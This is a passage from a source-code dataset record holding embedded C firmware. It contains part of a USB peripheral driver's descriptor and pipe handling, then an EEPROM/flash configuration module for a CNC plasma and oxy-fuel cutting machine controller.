usb_gpstd_ConfigNum = value;\n /* Alternate setting clear */\n usb_pstd_ClearAlt();\n}\n/******************************************************************************\nEnd of function usb_pstd_SetConfigNum\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_ClearEpTblIndex\nDescription : Clear Endpoint Index Table (buffer).\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ClearEpTblIndex(void)\n{\n uint16_t i;\n\n for( i = 0; i <= USB_MAX_EP_NO; ++i )\n {\n /* Endpoint index table clear */\n usb_gpstd_EpTblIndex[0][i] = USB_ERROR;\n usb_gpstd_EpTblIndex[1][i] = USB_ERROR;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_ClearEpTblIndex\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_GetConfigNum\nDescription : Get number of possible configurations.\nArguments : none\nReturn value : uint16_t : Number of possible configurations.\n : (bNumConfigurations)\n******************************************************************************/\nuint16_t usb_pstd_GetConfigNum(void)\n{\n /* Configuration Number */\n return (uint16_t)(usb_gpstd_Driver.devicetbl[USB_DEV_NUM_CONFIG]);\n}\n/******************************************************************************\nEnd of function usb_pstd_GetConfigNum\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_get_confignum_to_tblindex\nDescription : Get Configuration descriptor table index \nArguments : uint16_t con_num : Configuration Number\nReturn value : uint16_t : Configuration descriptor table index \n******************************************************************************/\nuint16_t usb_pstd_get_confignum_to_tblindex(uint16_t con_num)\n{\n uint16_t conf;\n uint16_t i;\n uint16_t tbl_index = 0;\n\n conf = con_num;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Configuration Descriptor search loop */\n for( i = 0; i < con_num; i++ )\n {\n /* Check Configuration Number. 5:bConfigurationValue */\n if( *(uint8_t*)(usb_gpstd_Driver.configtbl[i] + USB_DEV_B_CONFIGURATION_VALUE) == con_num )\n {\n /* Set Configuration tabile index */\n tbl_index = i;\n break;\n }\n }\n\n return tbl_index;\n}\n/******************************************************************************\nEnd of function usb_pstd_get_confignum_to_tblindex\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_GetInterfaceNum\nDescription : Get interface number \nArguments : uint16_t con_num : Configuration Number\nReturn value : uint16_t : Number of this interface \n : (bNumInterfaces)\n******************************************************************************/\nuint16_t usb_pstd_GetInterfaceNum(uint16_t con_num)\n{\n uint16_t conf;\n uint16_t num_if = 0;\n uint16_t tbl_index;\n\n conf = con_num;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Get Configuration descriptor table index */\n tbl_index = usb_pstd_get_confignum_to_tblindex( conf );\n\n /* Get NumInterfaces. 4:bNumInterfaces */\n num_if = *(uint8_t*)(usb_gpstd_Driver.configtbl[tbl_index] + USB_DEV_B_NUM_INTERFACES);\n\n return num_if;\n}\n/******************************************************************************\nEnd of function usb_pstd_GetInterfaceNum\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_GetAlternateNum\nDescription : Get Alternate Setting Number\nArguments : uint16_t con_num : Configuration Number\n : uint16_t int_num : Interface Number\nReturn value : uint16_t : Value used to select this alternate\n : (bAlternateSetting)\n******************************************************************************/\nuint16_t usb_pstd_GetAlternateNum(uint16_t con_num, uint16_t int_num)\n{\n uint16_t i, conf;\n uint16_t alt_num = 0;\n uint8_t *ptr;\n uint16_t length;\n uint16_t tbl_index;\n\n conf = con_num;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Get Configuration descriptor table index */\n tbl_index = usb_pstd_get_confignum_to_tblindex( conf );\n\n ptr = usb_gpstd_Driver.configtbl[tbl_index];\n i = ptr[0];\n /* Interface descriptor[0] */\n ptr = (uint8_t*)((uint32_t)ptr + ptr[0]);\n length = (uint16_t)(*(uint8_t*)((uint32_t) usb_gpstd_Driver.configtbl[tbl_index] + (uint16_t)2u));\n length |= (uint16_t)((uint16_t)(*(uint8_t*)((uint32_t)usb_gpstd_Driver.configtbl[tbl_index] + (uint16_t)3u)) << 8u);\n \n /* Search descriptor table size */\n for( ; i < length; )\n {\n /* Descriptor type ? */\n switch( ptr[1] )\n {\n /* Interface */\n case USB_DT_INTERFACE:\n if( int_num == ptr[2] )\n {\n /* Alternate number count */\n alt_num = (uint16_t)ptr[3];\n }\n i += ptr[0];\n /* Interface descriptor[0] */\n ptr =(uint8_t*)((uint32_t)ptr + ptr[0]);\n break;\n /* Device */\n case USB_DT_DEVICE:\n /* Continue */\n /* Configuration */\n case USB_DT_CONFIGURATION:\n /* Continue */\n /* String */\n case USB_DT_STRING:\n /* Continue */\n /* Endpoint */\n case USB_DT_ENDPOINT:\n /* Continue */\n /* Class, Vendor, else */\n default:\n i += ptr[0];\n /* Interface descriptor[0] */\n ptr =(uint8_t*)((uint32_t)ptr + ptr[0]);\n break;\n }\n }\n return alt_num;\n}\n/******************************************************************************\nEnd of function usb_pstd_GetAlternateNum\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_SetEpTblIndex\nDescription : Set endpoint index in table (buffer) region based on config-\n : uration descriptor. In other words, set which endpoints to \n : use based on specified configuration, \nArguments : uint16_t con_num : Configuration Number.\n : uint16_t int_num : Interface Number.\n : uint16_t alt_num : Alternate Setting.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetEpTblIndex(uint16_t con_num, uint16_t int_num, uint16_t alt_num)\n{\n uint8_t *ptr;\n uint16_t i, j, length, conf;\n uint16_t start, numbers, ep;\n uint16_t tbl_index;\n uint16_t dir;\n\n conf = con_num;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Get Configuration descriptor table index */\n tbl_index = usb_pstd_get_confignum_to_tblindex( conf );\n\n /* Configuration descriptor */\n ptr = usb_gpstd_Driver.configtbl[tbl_index];\n i = *ptr;\n length = (uint16_t)(*(uint8_t*)((uint32_t)ptr + (uint32_t)3u));\n length = (uint16_t)(length << 8);\n length += (uint16_t)(*(uint8_t*)((uint32_t)ptr + (uint32_t)2u));\n ptr =(uint8_t*)((uint32_t)ptr + *ptr);\n start = 0;\n numbers = 0;\n j = 0;\n\n for( ; i < length; )\n {\n /* Descriptor type ? */\n switch(*(uint8_t*)((uint32_t)ptr + (uint32_t)1u) )\n {\n /* Interface */\n case USB_DT_INTERFACE:\n if((*(uint8_t*)((uint32_t)ptr + (uint32_t)2u) == int_num)\n && (*(uint8_t*)((uint32_t)ptr + (uint32_t)3u) == alt_num))\n {\n numbers = *(uint8_t*)((uint32_t)ptr + (uint32_t)4u);\n }\n else\n {\n start += *(uint8_t*)((uint32_t)ptr + (uint32_t)4u);\n }\n i += *ptr;\n ptr =(uint8_t*)((uint32_t)ptr + *ptr);\n break;\n /* Endpoint */\n case USB_DT_ENDPOINT:\n if( j < numbers )\n {\n ep = (uint16_t)*(uint8_t*)((uint32_t)ptr + (uint32_t)2u);\n if( USB_EP_IN == (ep & USB_EP_DIRMASK) )\n {\n dir = 1; /* IN */\n }\n else\n {\n dir = 0; /* OUT */\n }\n ep &= (uint16_t)0x0f;\n usb_gpstd_EpTblIndex[dir][ep] = (uint8_t)(start + j);\n ++j;\n }\n i += *ptr;\n ptr = (uint8_t*)((uint32_t)ptr + *ptr);\n break;\n /* Device */\n case USB_DT_DEVICE:\n /* Continue */\n /* Configuration */\n case USB_DT_CONFIGURATION:\n /* Continue */\n /* String */\n case USB_DT_STRING:\n /* Continue */\n /* Class, Vendor, else */\n default:\n i += *ptr;\n ptr = (uint8_t*)((uint32_t)ptr + *ptr);\n break;\n }\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetEpTblIndex\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_ChkRemote\nDescription : Check if the RemoteWakeUp bit for the configuration descrip-\n : tor is set.\nArguments : none\nReturn value : uint16_t : remote wakeup status (YES/NO).\n******************************************************************************/\nuint16_t usb_pstd_ChkRemote(void)\n{\n uint8_t atr;\n uint16_t tbl_index;\n\n if( usb_gpstd_ConfigNum == 0 )\n {\n return USB_NO;\n }\n\n /* Get Configuration descriptor table index */\n tbl_index = usb_pstd_get_confignum_to_tblindex( usb_gpstd_ConfigNum );\n\n /* Get Configuration Descriptor - bmAttributes */\n atr = *(uint8_t*)((uint32_t)usb_gpstd_Driver.configtbl[tbl_index] + (uint32_t)7u);\n /* Remote Wakeup check(= D5) */\n if( (atr & USB_CF_RWUPON) == USB_CF_RWUPON )\n {\n return USB_YES;\n }\n return USB_NO;\n}\n/******************************************************************************\nEnd of function usb_pstd_ChkRemote\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_GetCurrentPower\nDescription : Find out how the peripheral is powered by looking at the con-\n : figuration descriptor.\nArguments : none\nReturn value : uint8_t : Current power means; self-powered or bus-powered\n : (GS_SELFPOWERD/GS_BUSPOWERD).\n******************************************************************************/\nuint8_t usb_pstd_GetCurrentPower(void)\n{\n /*\n * Please answer the currently power of your system.\n */\n\n uint8_t tmp, currentpower, conf;\n uint16_t tbl_index;\n\n conf = (uint8_t)usb_gpstd_ConfigNum;\n if( conf < (uint8_t)1 )\n {\n /* Address state */\n conf = (uint8_t)1;\n }\n\n /* Get Configuration descriptor table index */\n tbl_index = usb_pstd_get_confignum_to_tblindex( conf );\n\n /* Standard configuration descriptor */\n tmp = *(uint8_t*)((uint32_t)usb_gpstd_Driver.configtbl[tbl_index] + (uint32_t)7u);\n if( (tmp & USB_CF_SELFP) == USB_CF_SELFP )\n {\n /* Self Powered */\n currentpower = USB_GS_SELFPOWERD;\n }\n else\n {\n /* Bus Powered */\n currentpower = USB_GS_BUSPOWERD;\n }\n\n /* Check currently powered */\n\n return currentpower;\n}\n/******************************************************************************\nEnd of function usb_pstd_GetCurrentPower\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetPipeRegister\nDescription : Configure specified pipe.\nArguments : uint16_t pipe_number : Pipe number.\n : uint16_t *tbl : DEF_EP table pointer.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t pipe_number, uint16_t *tbl)\n{\n uint16_t i, pipe, ep;\n#ifdef USB_DTC_ENABLE\n uint16_t buf;\n#endif /* USB_DTC_ENABLE */\n uint16_t dir;\n\n switch( pipe_number )\n {\n /* All pipe initialized */\n case USB_USEPIPE:\n /* Current FIFO port Clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n#ifdef USB_DTC_ENABLE\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n#endif /* USB_DTC_ENABLE */\n for( i = 0; tbl[i] != USB_PDTBLEND; i += USB_EPL )\n {\n /* Pipe number */\n pipe = (uint16_t)(tbl[i + 0] & USB_CURPIPE);\n usb_cstd_pipe_init(ptr, pipe, tbl, i);\n }\n break;\n /* Peripheral pipe initialized */\n case USB_PERIPIPE:\n /* Current FIFO port Clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n#ifdef USB_DTC_ENABLE\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n#endif /* USB_DTC_ENABLE */\n for( ep = USB_EP1; ep <= USB_MAX_EP_NO; ++ep )\n {\n for( dir = 0; dir <2; dir++ )\n {\n if( usb_gpstd_EpTblIndex[dir][ep] != USB_ERROR )\n {\n i = (uint16_t)(USB_EPL * usb_gpstd_EpTblIndex[dir][ep]);\n /* Pipe number */\n pipe = (uint16_t)(tbl[i + 0] & USB_CURPIPE);\n usb_cstd_pipe_init(ptr, pipe, tbl, i);\n }\n }\n }\n break;\n /* Clear Peripheral pipe register */\n case USB_CLRPIPE:\n /* Current FIFO port Clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n#ifdef USB_DTC_ENABLE\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n#endif /* USB_DTC_ENABLE */\n for( ep = USB_EP1; ep <= USB_MAX_EP_NO; ++ep )\n {\n for( dir = 0; dir <2; dir++ )\n {\n if( usb_gpstd_EpTblIndex[dir][ep] != USB_ERROR )\n {\n i = (uint16_t)(USB_EPL * usb_gpstd_EpTblIndex[dir][ep]);\n /* Pipe number */\n pipe = (uint16_t)(tbl[i + 0] & USB_CURPIPE);\n usb_cstd_ClrPipeCnfg(ptr, pipe);\n }\n }\n }\n break;\n /* Pipe initialized */\n default:\n /* Current FIFO port clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n#ifdef USB_DTC_ENABLE\n /* D0FIFO */\n buf = usb_creg_read_fifosel( ptr, USB_D0DMA );\n if( (buf & USB_CURPIPE) == pipe_number )\n {\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n }\n /* D1FIFO */\n buf = usb_creg_read_fifosel( ptr, USB_D1DMA );\n if( (buf & USB_CURPIPE) == pipe_number )\n {\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n }\n#endif /* USB_DTC_ENABLE */\n for( i = 0; tbl[i] != USB_PDTBLEND; i += USB_EPL )\n {\n /* Pipe number */\n pipe = (uint16_t)(tbl[i + 0] & USB_CURPIPE);\n if( pipe == pipe_number )\n {\n usb_cstd_pipe_init(ptr, pipe, tbl, i);\n }\n }\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetPipeRegister\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5625238418579102, "alphanum_fraction": 0.5772668123245239, "avg_line_length": 29.444185256958008, "blob_id": "20d8d4cafff73f416bdd186598e8405fa19de558", "content_id": "8513c4e23172eda299bab919f0b5c439112ee15c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 13109, "license_type": "no_license", "max_line_length": 120, "num_lines": 430, "path": "/src/eeprom/eeprom.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "#include \"platform.h\"\n#include \"eeprom.h\"\n#include \"r_vee_if.h\"\n#include \"r_flash_api_rx_if.h\"\n#include <string.h>\n#include \"settings.h\"\n\n//#define VEE_DEMO_ERASE_FIRST\n\n\n\nenum { READY, NOT_READY } sample_state;\n\n/*! configVarOxInit - Constante inicial de parametrização para Oxicorte */\nconst float configVarOxInit[OX_CONFIG_MAX] = {\n\t15, //!< Altura de perfuração\n\t5, //!< Altura de corte\n\t500, //!< Velocidade de corte\n\t30, //!< Tempo de aquecimento\n\t1 //!< Tempo de Perfuração\n};\n\n/*! configVarPlInit - Constante inicial de parametrização para Plasma */\nconst float configVarPlInit[PL_CONFIG_MAX] = {\n\t4.8, //!< Altura de perfuração\n\t2.8, //!< Altura de corte\n\t2500, //!< Velocidade de corte\n\t0.1, //!< Tempo de Perfuração\n\t120 //!< Tensao do THC\n};\n\n\nconst float configVarParMaqInit [MODEL_MAX][TYPE_MAX_MAQ - 1][CFG_PAR_MAQ_MAX] = {\n\t\t#include \"Maq_Initialization\"\n};\n\n/*! configVarJogInit - Constante inicial de velocidade de jog*/\nconst float configVarJogInit[TYPE_MAX_MAQ - 1][JOG_MAX] = {\n\t{6000,500},\n\t{6000,500},\n\t{5000,500},\n\t{6000,500},\n};\n\n/*! configVarJogInit - Constante inicial de config de maquina*/\nconst float configVarMaqInit[CFG_MAQUINA_MAX - 1] = {\n\t25, //!< Altura de deslocamento\n};\n\n///*! configVarParMaqInit - Constante inicial de parametrização da maquina */\n//const float configVarParMaqInit_CP[CFG_PAR_MAQ_MAX] = {\n//\tM4_TRAVEL_PER_REV_CP, //!< EIXO_X1\n//\tM3_TRAVEL_PER_REV_CP, //!< EIXO_X2\n//\tM2_TRAVEL_PER_REV_CP, //!< EIXO_Y\n//\tX_JERK_MAX_CP, //!< JERK X\n//\tY_JERK_MAX_CP, //!< JERK Y\n//\tX_VELOCITY_MAX_CP, //!< VEL X\n//\tY_VELOCITY_MAX_CP, //!< VEL Y\n//\tZ_VELOCITY_MAX_CP, //!< VEL Z\n//\tJUNCTION_DEVIATION_CP, //!< JUNCTION DEV\n//\tJUNCTION_ACCELERATION_CP, //!< JUNCTION ACCEL\n//\tCHORDAL_TOLERANCE,\n//\t0\n//};\n//\n///*! configVarParMaqInit - Constante inicial de parametrização da maquina */\n//const float configVarParMaqInit_EM[CFG_PAR_MAQ_MAX] = {\n//\tM4_TRAVEL_PER_REV_EM, //!< EIXO_X1\n//\tM3_TRAVEL_PER_REV_EM, //!< EIXO_X2\n//\tM2_TRAVEL_PER_REV_EM, //!< EIXO_Y\n//\tX_JERK_MAX_EM, //!< JERK X\n//\tY_JERK_MAX_EM, //!< JERK Y\n//\tX_VELOCITY_MAX_EM, //!< VEL X\n//\tY_VELOCITY_MAX_EM, //!< VEL Y\n//\tZ_VELOCITY_MAX_EM, //!< VEL Z\n//\tJUNCTION_DEVIATION_EM, //!< JUNCTION DEV\n//\tJUNCTION_ACCELERATION_EM, //!< JUNCTION ACCEL\n//\tCHORDAL_TOLERANCE,\n//\t0\n//};\n//\n///*! configVarParMaqInit - Constante inicial de parametrização da maquina */\n//const float configVarParMaqInit_MB[CFG_PAR_MAQ_MAX] = {\n//\tM4_TRAVEL_PER_REV_MB, //!< EIXO_X1\n//\tM3_TRAVEL_PER_REV_MB, //!< EIXO_X2\n//\tM2_TRAVEL_PER_REV_MB, //!< EIXO_Y\n//\tX_JERK_MAX_MB, //!< JERK X\n//\tY_JERK_MAX_MB, //!< JERK Y\n//\tX_VELOCITY_MAX_MB, //!< VEL X\n//\tY_VELOCITY_MAX_MB, //!< VEL Y\n//\tZ_VELOCITY_MAX_MB, //!< VEL Z\n//\tJUNCTION_DEVIATION_MB, //!< JUNCTION DEV\n//\tJUNCTION_ACCELERATION_MB, //!< JUNCTION ACCEL\n//\tCHORDAL_TOLERANCE,\n//\t0\n//};\n\nuint32_t configFlagsInit[FLAG_MAX] = {MODO_PLASMA,1,DESABILITADO,HABILITADO};\nuint32_t configFlags[FLAG_MAX];\n\nfloat configVarOx[OX_CONFIG_MAX];\nfloat configVarPl[PL_CONFIG_MAX];\nfloat configVarMaq[CFG_MAQUINA_MAX - 1]; // retirado o modo maquina\nfloat configVarParMaq[CFG_PAR_MAQ_MAX];\nfloat configVarJog[JOG_MAX];\n\nfloat zeroPieceInit[3] = {0,0,0};\nfloat zeroPiece[3];\n\nvee_record_t dataRecord;\n\nmaq_st g_maq;\n\nvoid eepromInit(void)\n{\n#if defined(VEE_DEMO_ERASE_FIRST)\n\teepromFormat();\n#else\n\tR_VEE_Open();\n\teepromReadConfig(CONFIGVAR_OX);\n\teepromReadConfig(CONFIGVAR_PL);\n\teepromReadConfig(CONFIGVAR_JOG);\n\teepromReadConfig(CONFIGVAR_MAQ);\n\teepromReadConfig(CONFIGVAR_PAR_MAQ);\n\teepromReadConfig(CONFIGFLAG);\n\teepromReadConfig(ZEROPIECE);\n#endif\n}\n\nvoid eepromWriteConfig(uint8_t varType)\n{\n uint32_t ret;\n switch (varType)\n {\n \tcase CONFIGVAR_OX: dataRecord.ID = CONFIGVAR_OX;\n \t\t\t\t dataRecord.pData = (uint8_t*)configVarOx;\n \t\t\t\t dataRecord.size =sizeof(configVarOx);\n \t\t\t\t break;\n \tcase CONFIGVAR_PL: dataRecord.ID = CONFIGVAR_PL;\n \t\t\t\t dataRecord.pData = (uint8_t*)configVarPl;\n \t\t\t\t dataRecord.size =sizeof(configVarPl);\n \t\t\t\t break;\n \tcase CONFIGVAR_JOG: dataRecord.ID = CONFIGVAR_JOG;\n \t\t\t\t dataRecord.pData = (uint8_t*)configVarJog;\n \t\t\t\t dataRecord.size =sizeof(configVarJog);\n \t\t\t\t break;\n \tcase CONFIGVAR_MAQ: dataRecord.ID = CONFIGVAR_MAQ;\n \t\t\t\t dataRecord.pData = (uint8_t*)configVarMaq;\n \t\t\t\t dataRecord.size =sizeof(configVarMaq);\n \t\t\t\t break;\n \tcase CONFIGVAR_PAR_MAQ: dataRecord.ID = CONFIGVAR_PAR_MAQ;\n \t\t\t\t dataRecord.pData = (uint8_t*)configVarParMaq;\n \t\t\t\t dataRecord.size =sizeof(configVarParMaq);\n \t\t\t\t break;\n \tcase CONFIGFLAG: dataRecord.ID = CONFIGFLAG;\n\t\t\t\t\t\t dataRecord.pData = (uint8_t*)configFlags;\n\t\t\t\t\t\t dataRecord.size =sizeof(configFlags);\n\t\t\t\t\t\t break;\n \tcase ZEROPIECE: dataRecord.ID = ZEROPIECE;\n\t\t\t\t\t\t dataRecord.pData = (uint8_t*)&zeroPiece;\n\t\t\t\t\t\t dataRecord.size =sizeof(zeroPiece);\n\t\t\t\t\t\t break;\n \tdefault:\t\t break;\n }\n\n\n /* Generate check for data */\n ret = R_VEE_GenerateCheck(&dataRecord);\n /* Check result */\n if( ret != VEE_SUCCESS )\n {\n while(1)\n {\n /* Error */\n }\n }\n\tsample_state = NOT_READY;\n\tret = R_VEE_Write(&dataRecord);\n\t/* Check result */\n\tif( ret != VEE_SUCCESS )\n\t{\n\t while(1)\n\t {\n\t /* Error */\n\t }\n\t}\n\n\n while(sample_state == NOT_READY)\n {\n /* Wait for write to finish. When write finishes it will call the VEE_OperationDone_Callback() callback\n function below. The user also has the option of just polling by disabling the callback functions in\n r_vee_config.h */\n }\n}\n\nvoid eepromReadConfig(uint8_t varType)\n{\n uint32_t ret;\n\n switch (varType)\n {\n \tcase CONFIGVAR_OX: dataRecord.ID = CONFIGVAR_OX; break;\n \tcase CONFIGVAR_PL: dataRecord.ID = CONFIGVAR_PL; break;\n \tcase CONFIGVAR_JOG: dataRecord.ID = CONFIGVAR_JOG; break;\n \tcase CONFIGVAR_MAQ: dataRecord.ID = CONFIGVAR_MAQ; break;\n \tcase CONFIGVAR_PAR_MAQ: dataRecord.ID = CONFIGVAR_PAR_MAQ; break;\n \tcase CONFIGFLAG: dataRecord.ID = CONFIGFLAG; break;\n \tcase ZEROPIECE: dataRecord.ID = ZEROPIECE; break;\n \tdefault: break;\n }\n\tret = R_VEE_Read(&dataRecord);\n\t/* Check result */\n\tif( ret == VEE_NOT_FOUND )\n\t{\n\t\teepromFormat();\n\t}\n\tif( ret != VEE_SUCCESS )\n\t{\n\t\teepromFormat();\n\t}\n R_VEE_ReleaseState();\n switch (varType)\n {\n \tcase CONFIGVAR_OX: memcpy(configVarOx,dataRecord.pData,sizeof(configVarOx)); break;\n \tcase CONFIGVAR_PL: memcpy(configVarPl,dataRecord.pData,sizeof(configVarPl)); break;\n \tcase CONFIGVAR_JOG: memcpy(configVarJog,dataRecord.pData,sizeof(configVarJog)); break;\n \tcase CONFIGVAR_MAQ: memcpy(configVarMaq,dataRecord.pData,sizeof(configVarMaq)); break;\n \tcase CONFIGVAR_PAR_MAQ: memcpy(configVarParMaq,dataRecord.pData,sizeof(configVarParMaq)); break;\n \tcase CONFIGFLAG: memcpy(&configFlags,dataRecord.pData,sizeof(configFlags)); break;\n \tcase ZEROPIECE: memcpy(&zeroPiece,dataRecord.pData,sizeof(zeroPiece)); break;\n \tdefault: break;\n }\n}\n\nvoid machine_type_write(const char * p_str_model,const char * p_str_crem)\n{\n\tuint8_t ret;\n\tsample_state = NOT_READY;\n\tret = R_FlashEraseRange(0x00107FE0, 32);\n\twhile(sample_state == NOT_READY)\n\t{\n\t}\n\tif (ret != FLASH_SUCCESS)\n\t{\n\t\twhile(1);\n\t}\n\tsample_state = NOT_READY;\n\tret = R_FlashWrite(0x00107FE0,(uint32_t)p_str_model,12);\n\twhile(sample_state == NOT_READY)\n\t{\n\t}\n\tif (ret != FLASH_SUCCESS)\n\t{\n\t\twhile(1);\n\t}\n\tsample_state = NOT_READY;\n\tret = R_FlashWrite(0x00107FE0 + 12,(uint32_t)p_str_crem,12);\n\twhile(sample_state == NOT_READY)\n\t{\n\t}\n\tif (ret != FLASH_SUCCESS)\n\t{\n\t\twhile(1);\n\t}\n}\n\nmaq_st check_machine_type(void)\n{\n\tmaq_st ret;\n\tret.model = UNDEFINED_MAQ;\n\tchar str_src[10];\n\tmemcpy(str_src,(uint8_t *)0x00107FE0,10);\n\tif (strcmp(str_src,\"EASYMAK\") == 0)\n\t{\n\t\tret.model = EASYMAK_MAQ;\n\t}\n\telse if (strcmp(str_src,\"COMPACTA\") == 0)\n\t{\n\t\tret.model = COMPACTA_MAQ;\n\t}\n\telse if (strcmp(str_src,\"MOBILE\") == 0)\n\t{\n\t\tret.model = MOBILE_MAQ;\n\t}\n\telse if (strcmp(str_src,\"UNIMAQ\") == 0)\n\t{\n\t\tret.model = UNIMAQ_MAQ;\n\t}\n\tmemcpy(str_src,(uint8_t *)(0x00107FE0 + 12),10);\n\tif (strcmp(str_src,\"RETA\") == 0)\n\t{\n\t\tret.crem = (bool)MODEL_RETA;\n\t}\n\telse if (strcmp(str_src,\"HELI\") == 0)\n\t{\n\t\tret.crem = (bool)MODEL_HELI;\n\t}\n\treturn ret;\n}\n\n/***********************************************************************************************************************\n* Function Name: VEE_OperationDone_Callback\n* Description : Callback function from VEE that signifies that VEE operation\n* has finished.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nvoid VEE_OperationDone_Callback(void)\n{\n\tsample_state = READY;\n}\n/***********************************************************************************************************************\nEnd of VEE_OperationDone_Callback function\n***********************************************************************************************************************/\n\nvoid eepromConsistencyCheck(void)\n{\n\tuint8_t i;\n\tfor (i = 0; i < OX_CONFIG_MAX; i++)\n\t{\n\t\tif (configVarOx[i] > ox_init_max[i] || configVarOx[i] < ox_init_min[i])\n\t\t{\n\t\t\teepromFormat();\n\t\t}\n\t}\n\tfor (i = 0; i < PL_CONFIG_MAX; i++)\n\t{\n\t\tif (configVarPl[i] > pl_init_max[i] || configVarPl[i] < pl_init_min[i])\n\t\t{\n\t\t\teepromFormat();\n\t\t}\n\t}\n\n\tfor (i = 0; i < FLAG_MAX; i++)\n\t{\n\t\tif (configFlags[i] > 1 )\n\t\t{\n\t\t\teepromFormat();\n\t\t}\n\t}\n\n\tfor (i = 0; i < CFG_PAR_MAQ_MAX - 1; i++)\n\t{\n\t\tif (configVarParMaq[i] > pm_init_max[i] || configVarParMaq[i] <= pm_init_min[i])\n\t\t{\n\t\t\teepromFormat();\n\t\t}\n\t}\n}\n\nvoid eepromFormat(void)\n{\n\n\t\tuint32_t loop1;\n\t\tuint32_t ret;\n\t\t/* Enable data flash access. */\n\t\tR_FlashDataAreaAccess(0xFFFF, 0xFFFF);\n\n\t\tfor (loop1 = 0; loop1 < DF_NUM_BLOCKS; loop1++)\n\t\t{\n\t\t\t/* Erase data flash. */\n\t\t\tret = R_FlashErase(BLOCK_DB0 + loop1);\n\n\t\t\t/* Check for errors */\n\t\t\tif(ret != FLASH_SUCCESS)\n\t\t\t{\n\t\t\t\twhile(1)\n\t\t\t\t{\n\t\t\t\t\t/* Failure in erasing data flash. Something is not setup right. */\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Wait for flash operation to finish. */\n\t\t\twhile(FLASH_SUCCESS != R_FlashGetStatus());\n\t\t}\n\t\tmemcpy(configVarOx,configVarOxInit,sizeof(configVarOx));\n\t\tmemcpy(configVarPl,configVarPlInit,sizeof(configVarPl));\n\t\tmemcpy(configVarJog,configVarJogInit[g_maq.model - 1],sizeof(configVarJog));\n\t\tmemcpy(&configFlags,&configFlagsInit,sizeof(configFlags));\n\t\tmemcpy(&zeroPiece,&zeroPieceInit,sizeof(zeroPiece));\n\t\tmemcpy(configVarMaq,configVarMaqInit,sizeof(configVarMaq));\n\t\tmemcpy(configVarParMaq,configVarParMaqInit[g_maq.crem][g_maq.model - 1],sizeof(configVarParMaq));\n\t\tR_VEE_Open();\n\t\teepromWriteConfig(CONFIGVAR_OX);\n\t\teepromWriteConfig(CONFIGVAR_PL);\n\t\teepromWriteConfig(CONFIGVAR_JOG);\n\t\teepromWriteConfig(CONFIGVAR_MAQ);\n\t\teepromWriteConfig(CONFIGVAR_PAR_MAQ);\n\t\teepromWriteConfig(CONFIGFLAG);\n\t\teepromWriteConfig(ZEROPIECE);\n}\n\nmem_check eepromIntegrityCheck(void)\n{\n\tuint8_t i = 0;\n\tbool res = MEM_OK;\n\n\tfor (i = 0; i < CONFIGVAR_MAX; i++)\n\t{\n\t\teepromReadConfig(i);\n\t}\n\tif(memcmp(configVarOx,configVarOxInit,sizeof(configVarOx)))\n\t\tres = MEM_FAIL;\n\tif(memcmp(configVarPl,configVarPlInit,sizeof(configVarPl)))\n\t\tres = MEM_FAIL;\n\tif(memcmp(&configFlags,&configFlagsInit,sizeof(configFlags)))\n\t\tres = MEM_FAIL;\n\tif(memcmp(&zeroPiece,&zeroPieceInit,sizeof(zeroPiece)))\n\t\tres = 